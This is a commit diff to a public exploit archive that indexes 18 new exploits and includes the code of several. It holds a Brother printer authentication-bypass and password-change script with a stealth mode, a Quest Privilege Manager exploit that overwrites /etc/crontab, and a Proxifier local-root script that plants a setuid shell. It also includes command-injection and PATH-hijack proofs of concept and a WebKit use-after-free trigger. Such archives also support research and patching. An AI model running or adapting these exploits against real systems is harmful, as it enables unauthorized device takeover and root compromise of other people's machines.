DB: 2017-04-12
18 new exploits Apple WebKit - 'JSC::B3::Procedure::resetReachability' Use-After-Free Apple WebKit - 'Document::adoptNode' Use-After-Free Apple WebKit - 'JSC::SymbolTableEntry::isWatchable' Heap Buffer Overflow Proxifier for Mac 2.18 - Multiple Vulnerabilities Proxifier for Mac 2.17 / 2.18 - Privesc Escalation Xen - Broken Check in 'memory_exchange()' Permits PV Guest Breakout Quest Privilege Manager 6.0.0 - Arbitrary File Write Adobe Multiple Products - XML Injection File Content Disclosure MyClassifiedScript 5.1 - SQL Injection Social Directory Script 2.0 - SQL Injection FAQ Script 3.1.3 - 'category_id' Parameter SQL Injection WordPress Plugin Spider Event Calendar 1.5.51 - Blind SQL Injection MyBB < 1.8.11 - 'email' MyCode Cross-Site Scripting MyBB smilie Module < 1.8.11 - 'pathfolder' Directory Traversal Brother MFC-J6520DW - Authentication Bypass / Password Change Horde Groupware Webmail 3 / 4 / 5 - Multiple Remote Code Execution Apple WebKit / Safari 10.0.3 (12602.4.8) - Synchronous Page Load Universal Cross-Site Scripting Apple WebKit / Safari 10.0.3 (12602.4.8) - Universal Cross-Site Scripting via a Focus Event and a Link Element
This commit is contained in:
parent
341f44bf34
commit
814ba132f8
19 changed files with 2621 additions and 0 deletions
18
files.csv
18
files.csv
|
@ -5463,6 +5463,9 @@ id,file,description,date,author,platform,type,port
|
|||
41814,platforms/multiple/dos/41814.html,"Apple WebKit - 'WebCore::toJS' Use-After-Free",2017-04-04,"Google Security Research",multiple,dos,0
|
||||
41823,platforms/windows/dos/41823.py,"CommVault Edge 11 SP6 - Stack Buffer Overflow (PoC)",2017-03-16,redr2e,windows,dos,0
|
||||
41851,platforms/windows/dos/41851.txt,"Moxa MXview 2.8 - Denial of Service",2017-04-10,hyp3rlinx,windows,dos,0
|
||||
41867,platforms/multiple/dos/41867.html,"Apple WebKit - 'JSC::B3::Procedure::resetReachability' Use-After-Free",2017-04-11,"Google Security Research",multiple,dos,0
|
||||
41868,platforms/multiple/dos/41868.html,"Apple WebKit - 'Document::adoptNode' Use-After-Free",2017-04-11,"Google Security Research",multiple,dos,0
|
||||
41869,platforms/multiple/dos/41869.html,"Apple WebKit - 'JSC::SymbolTableEntry::isWatchable' Heap Buffer Overflow",2017-04-11,"Google Security Research",multiple,dos,0
|
||||
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
|
||||
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
|
||||
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
|
||||
|
@ -8928,6 +8931,9 @@ id,file,description,date,author,platform,type,port
|
|||
41771,platforms/windows/local/41771.py,"Disk Sorter Enterprise 9.5.12 - 'Import Command' Buffer Overflow",2017-03-29,"Daniel Teixeira",windows,local,0
|
||||
41772,platforms/windows/local/41772.py,"DiskBoss Enterprise 7.8.16 - 'Import Command' Buffer Overflow",2017-03-29,"Daniel Teixeira",windows,local,0
|
||||
41773,platforms/windows/local/41773.py,"Sync Breeze Enterprise 9.5.16 - 'Import Command' Buffer Overflow",2017-03-29,"Daniel Teixeira",windows,local,0
|
||||
41853,platforms/macos/local/41853.txt,"Proxifier for Mac 2.18 - Multiple Vulnerabilities",2017-04-11,Securify,macos,local,0
|
||||
41854,platforms/macos/local/41854.txt,"Proxifier for Mac 2.17 / 2.18 - Privesc Escalation",2017-04-11,"Mark Wadham",macos,local,0
|
||||
41870,platforms/multiple/local/41870.txt,"Xen - Broken Check in 'memory_exchange()' Permits PV Guest Breakout",2017-04-11,"Google Security Research",multiple,local,0
|
||||
1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
|
||||
2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
|
||||
5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
|
||||
|
@ -15429,6 +15435,7 @@ id,file,description,date,author,platform,type,port
|
|||
41825,platforms/windows/remote/41825.txt,"SpiceWorks 7.5 TFTP - Remote File Overwrite / Upload",2017-04-05,hyp3rlinx,windows,remote,0
|
||||
41850,platforms/windows/remote/41850.txt,"Moxa MXview 2.8 - Private Key Disclosure",2017-04-10,hyp3rlinx,windows,remote,0
|
||||
41852,platforms/windows/remote/41852.txt,"Moxa MX AOPC-Server 1.5 - XML External Entity Injection",2017-04-10,hyp3rlinx,windows,remote,0
|
||||
41861,platforms/linux/remote/41861.py,"Quest Privilege Manager 6.0.0 - Arbitrary File Write",2017-04-10,m0t,linux,remote,0
|
||||
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
||||
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
||||
13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
||||
|
@ -37721,3 +37728,14 @@ id,file,description,date,author,platform,type,port
|
|||
41845,platforms/php/webapps/41845.txt,"WordPress Plugin WHIZZ < 1.1.1 - Cross-Site Request Forgery",2017-04-07,"Zhiyang Zeng",php,webapps,80
|
||||
41846,platforms/php/webapps/41846.html,"WordPress Plugin CopySafe Web Protect < 2.6 - Cross-Site Request Forgery",2017-04-07,"Zhiyang Zeng",php,webapps,80
|
||||
41849,platforms/php/webapps/41849.txt,"Jobscript4Web 4.5 - Authentication Bypass",2017-04-08,TurkCyberArmy,php,webapps,0
|
||||
41855,platforms/xml/webapps/41855.sh,"Adobe Multiple Products - XML Injection File Content Disclosure",2017-04-07,"Thomas Sluyter",xml,webapps,8400
|
||||
41856,platforms/php/webapps/41856.txt,"MyClassifiedScript 5.1 - SQL Injection",2017-04-11,"Ihsan Sencan",php,webapps,0
|
||||
41858,platforms/php/webapps/41858.txt,"Social Directory Script 2.0 - SQL Injection",2017-04-11,"Ihsan Sencan",php,webapps,0
|
||||
41859,platforms/php/webapps/41859.txt,"FAQ Script 3.1.3 - 'category_id' Parameter SQL Injection",2017-04-11,"Ihsan Sencan",php,webapps,0
|
||||
41857,platforms/php/webapps/41857.txt,"WordPress Plugin Spider Event Calendar 1.5.51 - Blind SQL Injection",2017-04-11,"Manuel García Cárdenas",php,webapps,80
|
||||
41860,platforms/php/webapps/41860.txt,"MyBB < 1.8.11 - 'email' MyCode Cross-Site Scripting",2017-04-11,"Zhiyang Zeng",php,webapps,80
|
||||
41862,platforms/php/webapps/41862.txt,"MyBB smilie Module < 1.8.11 - 'pathfolder' Directory Traversal",2017-04-11,"Zhiyang Zeng",php,webapps,80
|
||||
41863,platforms/hardware/webapps/41863.php,"Brother MFC-J6520DW - Authentication Bypass / Password Change",2017-04-11,"Patryk Bogdan",hardware,webapps,0
|
||||
41864,platforms/php/webapps/41864.txt,"Horde Groupware Webmail 3 / 4 / 5 - Multiple Remote Code Execution",2017-04-11,SecuriTeam,php,webapps,0
|
||||
41865,platforms/multiple/webapps/41865.html,"Apple WebKit / Safari 10.0.3 (12602.4.8) - Synchronous Page Load Universal Cross-Site Scripting",2017-04-11,"Google Security Research",multiple,webapps,0
|
||||
41866,platforms/multiple/webapps/41866.html,"Apple WebKit / Safari 10.0.3 (12602.4.8) - Universal Cross-Site Scripting via a Focus Event and a Link Element",2017-04-11,"Google Security Research",multiple,webapps,0
|
||||
|
|
Can't render this file because it is too large.
|
204
platforms/hardware/webapps/41863.php
Executable file
204
platforms/hardware/webapps/41863.php
Executable file
|
@ -0,0 +1,204 @@
|
|||
<?php
|
||||
|
||||
/*
|
||||
|
||||
# Title: Brother Devices Web Auth Bypass / Change Password Exploit
|
||||
# Vendor: Brother (http://www.brother.com/)
|
||||
# Affected models: Most of Brother devices from MFC, DCP, HL & ADS Series - see vulnerable models below for more info
|
||||
# Release date: 11.04.2017
|
||||
# CVE: CVE-2017-7588
|
||||
# Author: Patryk Bogdan (@patryk_bogdan)
|
||||
|
||||
--
|
||||
|
||||
Description:
|
||||
Most of Brother devices web authorization can be bypassed through trivial bug in login proccess.
|
||||
Even after failed login attempt, in http response headers appears valid authorization cookie.
|
||||
|
||||
PoC for MFC-J6520DW:
|
||||
usr@lnx:~# curl -sD - --data "B734=xyz&loginurl=%2Fgeneral%2Fstatus.html" http://192.168.1.111/general/status.html -o /dev/null | grep Cookie
|
||||
Set-Cookie: AuthCookie=c243a9ee18a9327bfd419f31e75e71c7; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/;
|
||||
|
||||
--
|
||||
|
||||
Modes:
|
||||
silent: Gives authorized cookie without changing password, so you can login without getting noticed.
|
||||
changepass: Change login password to the one you provided.
|
||||
|
||||
Note:
|
||||
Authorization cookie is fixed and it is created as following:
|
||||
Plaintext password --> ASCII hex --> md5
|
||||
(e.g. AuthCookie=c243a9ee18a9327bfd419f31e75e71c7 for 'test' password)
|
||||
|
||||
This information can be used to crack current password from exported cookie.
|
||||
|
||||
Fix:
|
||||
Minimize network access to Brother MFC device or disable HTTP(S) interface.
|
||||
|
||||
Confirmed vulnerable:
|
||||
MFC-J6973CDW
|
||||
MFC-J4420DW
|
||||
MFC-8710DW
|
||||
MFC-J4620DW
|
||||
MFC-L8850CDW
|
||||
MFC-J3720
|
||||
MFC-J6520DW
|
||||
MFC-L2740DW
|
||||
MFC-J5910DW
|
||||
MFC-J6920DW
|
||||
MFC-L2700DW
|
||||
MFC-9130CW
|
||||
MFC-9330CDW
|
||||
MFC-9340CDW
|
||||
MFC-J5620DW
|
||||
MFC-J6720DW
|
||||
MFC-L8600CDW
|
||||
MFC-L9550CDW
|
||||
MFC-L2720DW
|
||||
DCP-L2540DW
|
||||
DCP-L2520DW
|
||||
HL-3140CW
|
||||
HL-3170CDW
|
||||
HL-3180CDW
|
||||
HL-L8350CDW
|
||||
HL-L2380DW
|
||||
ADS-2500W
|
||||
ADS-1000W
|
||||
ADS-1500W
|
||||
|
||||
For educational purposes only.
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/* ----------------------------- */
|
||||
|
||||
$address = "http://192.168.1.111";
|
||||
|
||||
//$mode = "silent";
|
||||
|
||||
$mode = "changepass";
|
||||
$newpass = "letmein";
|
||||
|
||||
|
||||
/* ----------------------------- */
|
||||
|
||||
$user_agent = 'Mozilla/5.0 (Windows NT 6.1; rv:11.0) Gecko/20100101 Firefox/11.0';
|
||||
$address = preg_replace('{/$}', '', $address);
|
||||
libxml_use_internal_errors(true);
|
||||
|
||||
function getPwdValue($address) {
|
||||
|
||||
global $user_agent;
|
||||
|
||||
$ch = curl_init();
|
||||
curl_setopt($ch, CURLOPT_URL, $address."/admin/password.html");
|
||||
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
|
||||
curl_setopt($ch, CURLOPT_COOKIE, getCookie($address));
|
||||
curl_setopt($ch, CURLOPT_HEADER, 1);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
|
||||
$content = curl_exec($ch);
|
||||
|
||||
$dom = new DOMDocument();
|
||||
$dom->loadHTML($content);
|
||||
$inputs = $dom->getElementsByTagName('input');
|
||||
foreach($inputs as $i) {
|
||||
if($i->getAttribute('id') === $i->getAttribute('name') && $i->getAttribute('type') === 'password') {
|
||||
return $i->getAttribute('name');
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
function getLogValue($address) {
|
||||
|
||||
global $user_agent;
|
||||
|
||||
$ch = curl_init();
|
||||
curl_setopt($ch, CURLOPT_URL, $address);
|
||||
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
|
||||
curl_setopt($ch, CURLOPT_HEADER, 1);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
|
||||
$content = curl_exec($ch);
|
||||
|
||||
$dom = new DOMDocument();
|
||||
$dom->loadHTML($content);
|
||||
|
||||
if(strstr($dom->getElementsByTagName('a')->item(0)->nodeValue, 'Please configure the password')) {
|
||||
print 'Seems like password is not set! Exiting.'; exit; }
|
||||
|
||||
$value = $dom->getElementById('LogBox')->getAttribute('name');
|
||||
return $value;
|
||||
|
||||
}
|
||||
|
||||
function getCookie($host) {
|
||||
|
||||
global $address, $user_agent;
|
||||
|
||||
$log_var = getLogValue($address);
|
||||
|
||||
$ch = curl_init();
|
||||
curl_setopt($ch, CURLOPT_URL, $address."/general/status.html");
|
||||
curl_setopt($ch, CURLOPT_POST, 1);
|
||||
curl_setopt($ch, CURLOPT_POSTFIELDS,
|
||||
$log_var."=xyz&loginurl=%2Fgeneral%2Fstatus.html");
|
||||
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
|
||||
curl_setopt($ch, CURLOPT_HEADER, 1);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
|
||||
$content = curl_exec($ch);
|
||||
|
||||
if($content == true) {
|
||||
$cookies = array();
|
||||
preg_match_all('/Set-Cookie:(?<cookie>\s{0,}.*)$/im', $content, $cookies);
|
||||
|
||||
if(!empty($cookies['cookie'])) {
|
||||
$exploded = explode(';', $cookies['cookie'][0]);
|
||||
} else { print 'Failed getting cookies for '.$address.' address - check your settings'; exit; }
|
||||
} else { print 'Got error requesting '.$address.' address - check your settings'; exit; }
|
||||
|
||||
return trim($exploded[0]);
|
||||
|
||||
}
|
||||
|
||||
if($mode === "silent") {
|
||||
|
||||
print 'Here\'s your authorization cookie: '.getCookie($address);
|
||||
|
||||
} elseif ($mode === "changepass") {
|
||||
|
||||
global $address, $newpass;
|
||||
|
||||
$cookie = getCookie($address);
|
||||
$pwd_var = getPwdValue($address);
|
||||
|
||||
$ch = curl_init();
|
||||
curl_setopt($ch, CURLOPT_URL, $address."/admin/password.html");
|
||||
curl_setopt($ch, CURLOPT_POST, 1);
|
||||
curl_setopt($ch, CURLOPT_POSTFIELDS,
|
||||
"pageid=1&".$pwd_var."=".$newpass."&temp_retypePass=".$newpass);
|
||||
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
|
||||
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
|
||||
curl_setopt($ch, CURLOPT_HEADER, 1);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
|
||||
$content = curl_exec($ch);
|
||||
|
||||
if($content == true) {
|
||||
print 'Password changed to: '.$newpass;
|
||||
} else { print 'Got error requesting '.$address.' address - check your settings'; exit; }
|
||||
|
||||
}
|
||||
|
||||
?>
|
145
platforms/linux/remote/41861.py
Executable file
145
platforms/linux/remote/41861.py
Executable file
|
@ -0,0 +1,145 @@
|
|||
#!/usr/bin/env python2
|
||||
|
||||
"""
|
||||
# Exploit Title: Quest Privilege Manager pmmasterd Arbitrary File Write
|
||||
# Date: 10/Mar/2017
|
||||
# Exploit Author: m0t
|
||||
# Vendor Homepage: https://www.quest.com/products/privilege-manager-for-unix/
|
||||
# Version: 6.0.0-27, 6.0.0-50
|
||||
# Tested on: ubuntu 14.04 x86_64, ubuntu 16.04 x86, ubuntu 12.04 x86
|
||||
# CVE : 2017-6554
|
||||
|
||||
REQUIREMENTS
|
||||
- Root privs are required to bind a privileged source port
|
||||
- python hexdump: pip install hexdump
|
||||
|
||||
|
||||
This PoC gains arbitrary command execution by overwriting /etc/crontab
|
||||
In case of successful exploitation /etc/crontab will contain the following line
|
||||
* * * * * root touch /tmp/pwned
|
||||
|
||||
|
||||
"""
|
||||
|
||||
import binascii as b
|
||||
import hexdump as h
|
||||
import struct
|
||||
import sys
|
||||
import socket
|
||||
from Crypto.Cipher import AES
|
||||
|
||||
cipher=None
|
||||
def create_enc_packet(action, len1=None, len2=None, body=None):
|
||||
global cipher
|
||||
if body == None:
|
||||
body_raw = b.unhexlify("50696e6745342e362e302e302e32372e")
|
||||
else:
|
||||
body_raw = b.unhexlify(body)
|
||||
#pad
|
||||
if len(body_raw) % 16 != 0:
|
||||
body_raw += "\x00" * (16 - (len(body_raw) % 16))
|
||||
enc_body = cipher.encrypt(body_raw)
|
||||
|
||||
if len1 == None:
|
||||
len1 = len(body_raw)
|
||||
if len2 == None:
|
||||
len2 = len(enc_body)
|
||||
head = struct.pack('>I', action) + struct.pack('>I', len1) + struct.pack('>I', len2) + '\x00'*68
|
||||
return head+enc_body
|
||||
|
||||
def decrypt_packet(packet):
|
||||
global cipher
|
||||
return cipher.decrypt(packet[80:])
|
||||
|
||||
def create_packet(action, len1=None, len2=None, body=None):
|
||||
if body == None:
|
||||
body = "50696e6745342e362e302e302e32372e"
|
||||
if len1 == None:
|
||||
len1 = len(body)/2
|
||||
if len2 == None:
|
||||
len2 = len1
|
||||
head = struct.pack('>I', action) + struct.pack('>I', len1) + struct.pack('>I', len2) + '\x00'*68
|
||||
return head+b.unhexlify(body)
|
||||
|
||||
#extract action code from first 4b, return action found
|
||||
def get_action(packet):
|
||||
code = struct.unpack('>I',packet[:4])[0]
|
||||
return code
|
||||
|
||||
def generate_aes_key(buf):
|
||||
some_AES_bytes = [
|
||||
0xDF, 0x4E, 0x34, 0x05, 0xF4, 0x4D, 0x19, 0x22, 0x98, 0x4F,
|
||||
0x58, 0x62, 0x2C, 0x2A, 0x54, 0x42, 0xAA, 0x76, 0x53, 0xD4,
|
||||
0xF9, 0xDC, 0x98, 0x90, 0x23, 0x49, 0x71, 0x12, 0xEA, 0x33,
|
||||
0x12, 0x63
|
||||
];
|
||||
retbuf = ""
|
||||
if len(buf) < 0x20:
|
||||
print("[-] initial key buffer too small, that's bad")
|
||||
return None
|
||||
for i in range(0x20):
|
||||
retbuf+= chr(ord(buf[i])^some_AES_bytes[i])
|
||||
return retbuf
|
||||
|
||||
def main():
|
||||
global cipher
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print("usage: %s <target ip> [<sport>]" % sys.argv[0])
|
||||
sys.exit(-1)
|
||||
|
||||
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
if len(sys.argv) > 2:
|
||||
sport = int(sys.argv[2])
|
||||
else:
|
||||
sport = 666
|
||||
|
||||
s.bind(("0.0.0.0", sport))
|
||||
s.connect((sys.argv[1], 12345))
|
||||
|
||||
|
||||
try:
|
||||
s.send(create_packet(0xfa, body=b.hexlify("/etc/crontab")))
|
||||
#s.send(create_packet(0x134))
|
||||
print("[+] sent ACT_NEWFILESENT")
|
||||
resp=s.recv(1024)
|
||||
h.hexdump(resp)
|
||||
action=get_action(resp)
|
||||
if action == 212:
|
||||
print("[+] server returned 212, this is a good sign, press Enter to continue")
|
||||
else:
|
||||
print("[-] server returned %d, exploit will probably fail, press CTRL-C to exit or Enter to continue" % action)
|
||||
sys.stdin.readline()
|
||||
print("[+] exchanging DH pars")
|
||||
dh="\x00"*63+"\x02"
|
||||
s.send(dh)
|
||||
dh=s.recv(1024)
|
||||
h.hexdump(dh)
|
||||
aes_key = generate_aes_key(dh)
|
||||
print("[+] got AES key below:")
|
||||
h.hexdump(aes_key)
|
||||
cipher=AES.new(aes_key)
|
||||
print("[+] press Enter to continue")
|
||||
sys.stdin.readline()
|
||||
|
||||
print("[+] sending:")
|
||||
enc=create_enc_packet(0xfb, body=b.hexlify("* * * * * root touch /tmp/pwned\n"))
|
||||
h.hexdump(enc)
|
||||
s.send(enc )
|
||||
enc=create_enc_packet(0xfc, body="")
|
||||
h.hexdump(enc)
|
||||
s.send(enc )
|
||||
|
||||
print("[+] got:")
|
||||
resp=s.recv(1024)
|
||||
h.hexdump(resp)
|
||||
print("[+] trying decrypt")
|
||||
h.hexdump(decrypt_packet(resp))
|
||||
|
||||
s.close()
|
||||
except KeyboardInterrupt:
|
||||
s.close()
|
||||
exit(-1)
|
||||
|
||||
main()
|
61
platforms/macos/local/41853.txt
Executable file
61
platforms/macos/local/41853.txt
Executable file
|
@ -0,0 +1,61 @@
|
|||
Source: https://www.securify.nl/advisory/SFY20170401/multiple_local_privilege_escalation_vulnerabilities_in_proxifier_for_mac.html
|
||||
|
||||
Abstract
|
||||
|
||||
Multiple local privileges escalation vulnerabilities were found in the KLoader binary that ships with Proxifier. KLoader is responsible for loading a Kernel Extension (kext). KLoader is installed setuid root, it accepts one or two command line arguments that are used in a number of system commands. These arguments are used in an insecure manner allowing a local attacker to elevate its privileges. In addition, the environment is not properly sanitized, which also introduces a possibility to run arbitrary commands with elevated privileges.
|
||||
|
||||
Tested versions
|
||||
|
||||
These issues were successfully verified on Proxifier for Mac v2.18.
|
||||
|
||||
Fix
|
||||
|
||||
Proxifier v2.19 was released that addresses these issues.
|
||||
|
||||
Introduction
|
||||
|
||||
Proxifier is a program that allows network applications that do not support proxy servers to operate through a SOCKS or HTTPS proxy or a chain of proxy servers. Multiple privilege escalation vulnerabilities were found in the KLoader binary that ships with Proxifier. These vulnerabilities allow a local user to gain elevated privileges (root).
|
||||
|
||||
KLoader is responsible for loading the ProxifierS.kext Kernel Extension (kext). Loading kext files requires root privileges. Because of this the setuid bit is set on this binary when Proxifier is started for the first time. KLoader accepts one or two command line arguments that are used in a number of system commands. These arguments are used in an insecure manner allowing a local attacker to elevate its privileges. In addition, the environment is not properly sanitized, which also introduces a possibility to run arbitrary commands with elevated privileges.
|
||||
|
||||
Unsanitized PATH environment variable
|
||||
|
||||
The KLoader binary executes a number of system commands. The commands are executed from a relative path. The PATH environment variable is not sanitized before these commands are run. The PATH variable is changed by KLoader, but all that happens is that a hardcoded path is appended to current value of PATH. Due to this, it is possible for a local attacker to set an arbitrary PATH variable such that the attacker's folder is search first. Commands that are started from a relative path - and thus allow for privileges escalation - include:
|
||||
|
||||
- cp
|
||||
- mkdir
|
||||
- tar
|
||||
- kextstat
|
||||
- kextload
|
||||
|
||||
Proof of concept
|
||||
|
||||
cd /tmp
|
||||
export PATH=.:$PATH
|
||||
echo -e "#/bin/bash\nid" > cp
|
||||
chmod +x cp
|
||||
/Applications/Proxifier.app/Contents/KLoader lpe
|
||||
|
||||
Command injection in KLoader
|
||||
|
||||
The command line arguments that are passed to Kloader are not validated and/or sanitized. These arguments are used as-is when construction system commands. This allows an local attacker to cause Kloader to execute arbitrary commands with root privileges.
|
||||
|
||||
Proof of concept
|
||||
|
||||
$ /Applications/Proxifier.app/Contents/KLoader ';id #'
|
||||
usage: cp [-R [-H | -L | -P]] [-fi | -n] [-apvX] source_file target_file
|
||||
cp [-R [-H | -L | -P]] [-fi | -n] [-apvX] source_file ... target_directory
|
||||
uid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),[...]
|
||||
|
||||
Loading of arbitrary kext files
|
||||
|
||||
The main purpose of KLoader is to load ProxifierS.kext. The first command line argument is the path to the kext file, which normally is /Applications/Proxifier.app/Contents/ProxifierS.kext/. However since the first argument can be fully controlled by an attacker it is actually possible for a local unprivileged user to load any arbitrary kext file. The proof of concept below tries to OSXPMem Kernel Extension from the Rekall Forensic Framework.
|
||||
|
||||
Proof of concept
|
||||
|
||||
curl -L https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip --output osxpmem-2.1.post4.zip
|
||||
unzip osxpmem-2.1.post4.zip
|
||||
cd osxpmem.app/MacPmem.kext/
|
||||
tar cvzf lpe.tar.gz Contents/
|
||||
/Applications/Proxifier.app/Contents/KLoader lpe.tar.gz
|
||||
kextstat -l -b com.google.MacPmem
|
51
platforms/macos/local/41854.txt
Executable file
51
platforms/macos/local/41854.txt
Executable file
|
@ -0,0 +1,51 @@
|
|||
# Source: https://m4.rkw.io/blog/cve20177643-local-root-privesc-in-proxifier-for-mac--218.html
|
||||
|
||||
Proxifier 2.18 (also 2.17 and possibly some earlier version) ships with a
|
||||
KLoader binary which it installs suid root the first time Proxifier is run. This
|
||||
binary serves a single purpose which is to load and unload Proxifier's kernel
|
||||
extension.
|
||||
|
||||
Unfortunately it does this by taking the first parameter passed to it on the
|
||||
commandline without any sanitisation and feeding it straight into system().
|
||||
|
||||
This means not only can you load any arbitrary kext as a non-root user but you
|
||||
can also get a local root shell.
|
||||
|
||||
Although this is a bit of a terrible bug that shouldn't be happening in 2017,
|
||||
Proxifier's developers fixed the issue in record time so that's something!
|
||||
|
||||
Everyone using Proxifier for Mac should update to 2.19 as soon as possible.
|
||||
|
||||
https://m4.rkw.io/proxifier_privesc.sh.txt
|
||||
6040180f672a2b70511a483e4996d784f03e04c624a8c4e01e71f50709ab77c3
|
||||
-------------------------------------------------------------------
|
||||
|
||||
#!/bin/bash
|
||||
|
||||
#####################################################################
|
||||
# Local root exploit for vulnerable KLoader binary distributed with #
|
||||
# Proxifier for Mac v2.18 #
|
||||
#####################################################################
|
||||
# by m4rkw #
|
||||
#####################################################################
|
||||
|
||||
cat > a.c <<EOF
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
setuid(0);
|
||||
seteuid(0);
|
||||
|
||||
execl("/bin/bash", "bash", NULL);
|
||||
return 0;
|
||||
}
|
||||
EOF
|
||||
|
||||
gcc -o /tmp/a a.c
|
||||
rm -f a.c
|
||||
/Applications/Proxifier.app/Contents/KLoader 'blah; chown root:wheel /tmp/a ; chmod 4755 /tmp/a'
|
||||
/tmp/a
|
||||
|
||||
-------------------------------------------------------------------
|
135
platforms/multiple/dos/41867.html
Executable file
135
platforms/multiple/dos/41867.html
Executable file
|
@ -0,0 +1,135 @@
|
|||
<!--
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1101
|
||||
|
||||
Note: It seems it doesn't crash the JSC compiled without Address Sanitizer.
|
||||
|
||||
PoC:
|
||||
-->
|
||||
|
||||
(function () {
|
||||
for (var i = 0; i < 1000000; ++i) {
|
||||
const v = Array & 1 ? v : 1;
|
||||
typeof o <= 'object';
|
||||
}
|
||||
}());
|
||||
|
||||
<!--
|
||||
Asan Log:
|
||||
=================================================================
|
||||
==32191==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000099738 at pc 0x000106c7af16 bp 0x700006a57850 sp 0x700006a57848
|
||||
READ of size 8 at 0x607000099738 thread T20
|
||||
==32191==AddressSanitizer: while reporting a bug found another one. Ignoring.
|
||||
#0 0x106c7af15 in JSC::B3::Procedure::resetReachability() (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4c7f15)
|
||||
#1 0x106a1be8c in JSC::B3::generateToAir(JSC::B3::Procedure&, unsigned int) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x268e8c)
|
||||
#2 0x106a1bd2f in JSC::B3::prepareForGeneration(JSC::B3::Procedure&, unsigned int) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x268d2f)
|
||||
#3 0x107424312 in JSC::FTL::compile(JSC::FTL::State&, JSC::DFG::Safepoint::Result&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc71312)
|
||||
#4 0x107232f3b in JSC::DFG::Plan::compileInThreadImpl(JSC::DFG::LongLivedState&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xa7ff3b)
|
||||
#5 0x10722f7e2 in JSC::DFG::Plan::compileInThread(JSC::DFG::LongLivedState&, JSC::DFG::ThreadData*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xa7c7e2)
|
||||
#6 0x1073e1b87 in JSC::DFG::Worklist::ThreadBody::work() (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc2eb87)
|
||||
#7 0x10802330b in WTF::AutomaticThread::start(WTF::Locker<WTF::LockBase> const&)::$_0::operator()() const (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x187030b)
|
||||
#8 0x1080974bd in WTF::threadEntryPoint(void*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18e44bd)
|
||||
#9 0x108097b9d in WTF::wtfThreadEntryPoint(void*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18e4b9d)
|
||||
#10 0x7fffeb99baaa in _pthread_body (/usr/lib/system/libsystem_pthread.dylib+0x3aaa)
|
||||
#11 0x7fffeb99b9f6 in _pthread_start (/usr/lib/system/libsystem_pthread.dylib+0x39f6)
|
||||
